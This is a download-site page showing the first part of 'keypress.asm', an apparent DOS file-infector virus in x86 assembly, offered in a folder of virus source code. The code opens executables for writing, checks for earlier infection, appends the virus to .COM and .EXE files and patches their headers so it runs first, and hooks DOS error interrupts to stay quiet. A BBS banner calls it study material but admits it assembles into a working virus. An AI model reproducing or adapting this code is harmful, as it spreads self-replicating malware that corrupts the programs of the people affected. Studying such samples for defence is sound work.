⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 keypress.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 2 页
字号:
              or al,2                                             ; Write access
              pushf
              cli
              call far cs:[I21_Ofs]                                  ; Open file
              push cs
              pop ds
              jc Open_Error                               ; Error opening -> DOS

              pushf
              mov [R_Ax],ax                                        ; Save handle
              mov bx,ax

              call Chk_Inf                         ; Check infection is possible
              jc No_Infect                                          ; No -> quit

              call Read_header
              jc No_Infect

              call Write_virus
              jc No_Infect
              call Write_header
No_Infect:    call Go_file_beg                             ; Go to begin of file
              call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              popf
              retf 2
Open_Error:   call RestCritInt                    ; Restore ^c and crit-err ints
              call Rst_regs_int
              jmp short JmpDos


;*** Proc: Buffer for header of program to infect ***

Head_buf      dw 0Ch dup (?)


;*** Proc: Install new ^C and crit. err. interrupt ***

InstCritInt:  push ax
              push bx
              push dx
              push ds
              push es
              push cs
              pop ds
              mov ax,3523h                             ; Get Ctrl-Break Int Addr
              int 21h
              mov I23_Ofs,bx
              mov I23_Seg,es
              mov ax,3524h                              ; Get Crit. Err Int Addr
              int 21h
              mov I24_Ofs,bx
              mov I24_Seg,es
              mov ax,2523h
              mov dx,offset New_I23                 ; Install new Ctrl-Break Int
              int 21h
              mov ax,2524h                           ; Install new Crit. Err Int
              mov dx,offset New_I24
              int 21h
              pop es
              pop ds
              pop dx
              pop bx
              pop ax
              ret


;*** Proc: Restore orig. ctrl-break and crit. err. interrupt ***

RestCritInt:  mov ax,2524h                           ; Rest. orig. crit. err int
              lds dx,dword ptr cs:[I24_Ofs]
              int 21h
              mov ax,2523h                          ; Rest. orig. ctrl-break int
              lds dx,dword ptr cs:[I23_Ofs]
              int 21h
              push cs
              pop ds
              ret


;*** Read header of file ***

Read_header:  mov ah,3Fh
              mov dx,offset Head_buf
              mov cx,18h
              int 21h
              jc HeadRead_Err                      ; Error reading, don't infect

              call Check_infect ; Check file already infected; if not, save data
              jc HeadRead_Err                                      ; Error, quit

              call Calc_data                  ; Calculate data for infected file
              jc HeadRead_Err                                      ; Error, quit

HeadRead_Err: ret


;*** Proc: Write virus, and for .COM files, write first 16 bytes behind virus ***

Write_virus:  mov ah,40h                            ; Write virus behind program
              mov cx,[VirSize]
              mov dx,100h
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              test byte ptr [Com_or_exe],1
              jz First_Write
              ret

First_Write:  mov ah,40h                 ; Write orig. 1st 16 bytes behind virus
              mov cx,10h
              mov dx,offset Head_buf
              int 21h
              jc Err_Writ                                    ; Write error, quit
              cmp ax,cx
              jnz Err_Writ                                   ; '   ' '   '  '  '
              clc                                      ; End procedure, no error
              ret

Err_Writ:     stc                                         ; End procedure, error
              ret


;*** Proc: .COM: Write jump-to-virus, .EXE: Write header ***

Write_header: call Go_file_beg                             ; Go to begin of file
              test byte ptr [Com_or_exe],1                          ; .EXE-file?
              jnz Exe_header
              mov ah,40h                             ; .COM file - Write 'EB 02'
              mov cx,2
              mov dx,offset EB02
              int 21h
              mov ah,40h                            ; Write program-size in pars
              mov cx,2
              mov dx,offset ProgSize
              int 21h
              mov ah,40h                          ; Write rest of begin of virus
              mov cx,0Ch
              mov dx,104h
              int 21h
              ret

Exe_header:   mov ah,40h                                         ; Write in File
              mov cx,18h
              mov dx,offset Head_buf
              int 21h
              ret


;*** Proc: Change file pointer ***

Cng_file_ptr: mov ax,4200h
              int 21h
              ret


;*** Proc: Go to begin of file ***

Go_file_beg:  xor cx,cx                                        ; Filepointer = 0
              xor dx,dx
              call Cng_file_ptr                            ; Change File Pointer
              ret 


;*** Proc: Check file is already infected ***

Check_infect: mov si,104h
              mov di,offset Head_buf+4
              push cs
              pop es
              mov byte ptr [Com_or_exe],0                        ; Flag for .COM
              cmp word ptr [di-04],5A4Dh                              ; Is .EXE?
              jz Is_Exe
              mov cx,0Ch                                         ; No, .COM file
              cld
              repz                                           ; Already infected?
              cmpsb
              jnz Do_Infect                                            ; Not yet
Dont_Infect:  stc
              ret
Do_Infect:    clc
              ret
Is_Exe:       mov byte ptr [Com_or_exe],1                        ; Flag for .EXE
              mov cx,[offset Head_buf+14h]                        ; cx = Prog-IP
              cmp cx,offset VirBegin                           ; Same as Vir-IP?
              jz Dont_Infect                                         ; Yes, quit
              cmp word ptr [offset Head_buf+0Ch],0           ; Max extra pars=0?
              jz Dont_Infect                                         ; Yes, quit
              mov [Exe_ip],cx                                     ; Save prog-IP
              mov cx,[Head_buf+16h]
              mov [Exe_cs],cx                                     ; Save prog-cs
              mov cx,[Head_buf+0Eh]
              mov [R_ss],cx                                       ; Save prog-SS
              mov cx,[Head_buf+10h]
              mov [R_sp],cx                                       ; Save prog-SP
              jmp short Do_Infect


;*** Proc: Calculate data for infection ***

Calc_data:    mov ax,4202h                                           ; Go to EOF
              xor cx,cx
              xor dx,dx
              int 21h
              test al,0Fh         ; Size mod 16 = 0 (File is exact x paragraps)?
              jz No_par_add                            ; Yes, no extra par added
              add ax,10h                                         ; Add paragraph
              adc dx,0                                      ; Overflow -> Inc dx
              and ax,0FFF0h                                    ; Make paragraphs
No_par_add:   test byte ptr [Com_or_exe],1
              jnz Calc_exe
              or dx,dx
              jnz not_infect
              cmp ax,[maxcomsize]                                ; File too big?
              ja not_infect                                          ; Yes, quit
              cmp ax,[VirSize]                                 ; File too small?
              jbe Not_Infect                                         ; Yes, quit
              mov [ProgSize],ax                              ; Save program-size
              mov cl,4
              shr word ptr [ProgSize],cl                         ; In paragraphs
              mov dx,ax
              xor cx,cx
              call Cng_file_ptr                                      ; Go to EOF
              clc
              ret
Not_Infect:   stc
              ret

Calc_exe:     push ax
              push dx
              add ax,100h                                      ; 100 bytes stack
              adc dx,0                                       ; Overflow - inc dx
              mov cx,dx
              mov dx,ax
              call Cng_file_ptr                                      ; Go to EOF
              push bx
              add ax,[VirSize]                                  ; New exe-length
              adc dx,0
              mov bx,200h                                    ; For header: / 512
              div bx
              or dx,dx
              jz No_Correct
              inc ax          ; Files below 2.000.000h bytes - length correction
No_Correct:   mov [Head_buf+2],dx                         ; Save new file-length
              mov [Head_buf+4],ax                         ; '  ' ' ' '  ' '    '
              pop bx
              pop dx
              pop ax
              call Calc_cs_ss
              mov word ptr [Head_buf+10h],100h                    ; Prog-SP=100h
              mov word ptr [Head_buf+14h],offset VirBegin          ; Set prog-IP
              clc
              ret


;*** Proc: Calculate new CS and SS for .EXE file ***

Calc_cs_ss:   push cx
              mov cx,4
Cs_ss_lp:     shr dx,1
              rcr ax,1
              loop Cs_ss_lp
              sub ax,[Head_buf+8]                               ; Size of header
              sbb dx,0
              mov [Head_buf+0Eh],ax                               ; Save prog-SS
              mov [Head_buf+16h],ax                               ; Save prog-cs
              pop cx
              ret


;*** Check infection is possible ***

Chk_Inf:      call Chk_exec                           ; Check file is executable
              jb Not_exec
              call Get_attr                         ; Check file has no SYS attr
Not_Exec:     ret


;*** Search-paths ***

Com_path      db '.COM',0

Exe_path      db '.EXE',0


;*** Check file is executable (.COM / .EXE)

Chk_Exec:     push es
              mov es,R_ds
              mov di,dx
              xor al,al
              mov cx,80h
              cld
              repnz                                                 ; Search '.'
              scasb
              jnz not_inf                                         ; No '.' found
              dec di
              push di
              mov si,offset Com_path+4
              mov cx,4
              std
              repz                                                ; Check '.COM'
              cmpsb
              pop di
              jnz no_com                                               ; No .COM
              clc
              jmp short Infect
              nop
Not_Inf:      stc

Infect:       cld
              pop es
              ret
No_Com:       mov si,offset Exe_path+4
              mov cx,4
              repz                                                ; Check '.EXE'
              cmpsb
              jnz not_inf                      ; No .EXE either - not executable
              clc
              jmp short infect

Get_Attr:     push ds
              mov ax,4300h                                        ; Get FileAttr
              xor cx,cx
              mov ds,R_ds
              int 21h
              pop ds
              jb Bad_Attr                                 ; Error - don't infect
              test cx,4                                           ; System-Attr?
              jnz Bad_Attr                                   ; Yes, don't infect
              clc
              ret

Bad_Attr:     stc
              ret

First_bytes:  int 20h     ; First bytes of orig. program - here just 'Go to DOS'
              dw (?)
              mov bx,cs                                   ; Overwrites the begin
              add bx,[102h]
              push bx
              mov bx,offset VirBegin
              push bx
              retf

;****************************************************************************;
;                                                                            ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]                            [=-                     ;
;                     -=] For All Your H/P/A/V Files [=-                     ;
;                     -=]    SysOp: Peter Venkman    [=-                     ;
;                     -=]                            [=-                     ;
;                     -=]      +31.(o)79.426o79      [=-                     ;
;                     -=]  P E R F E C T  C R I M E  [=-                     ;
;                     -=][][][][][][][][][][][][][][][=-                     ;
;                                                                            ;
;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
;                                                                            ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
; Around Among the General Public. It Will be Very Useful for Learning how   ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
; Is. Keep This Code in Responsible Hands!                                   ;
;                                                                            ;
;****************************************************************************;

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -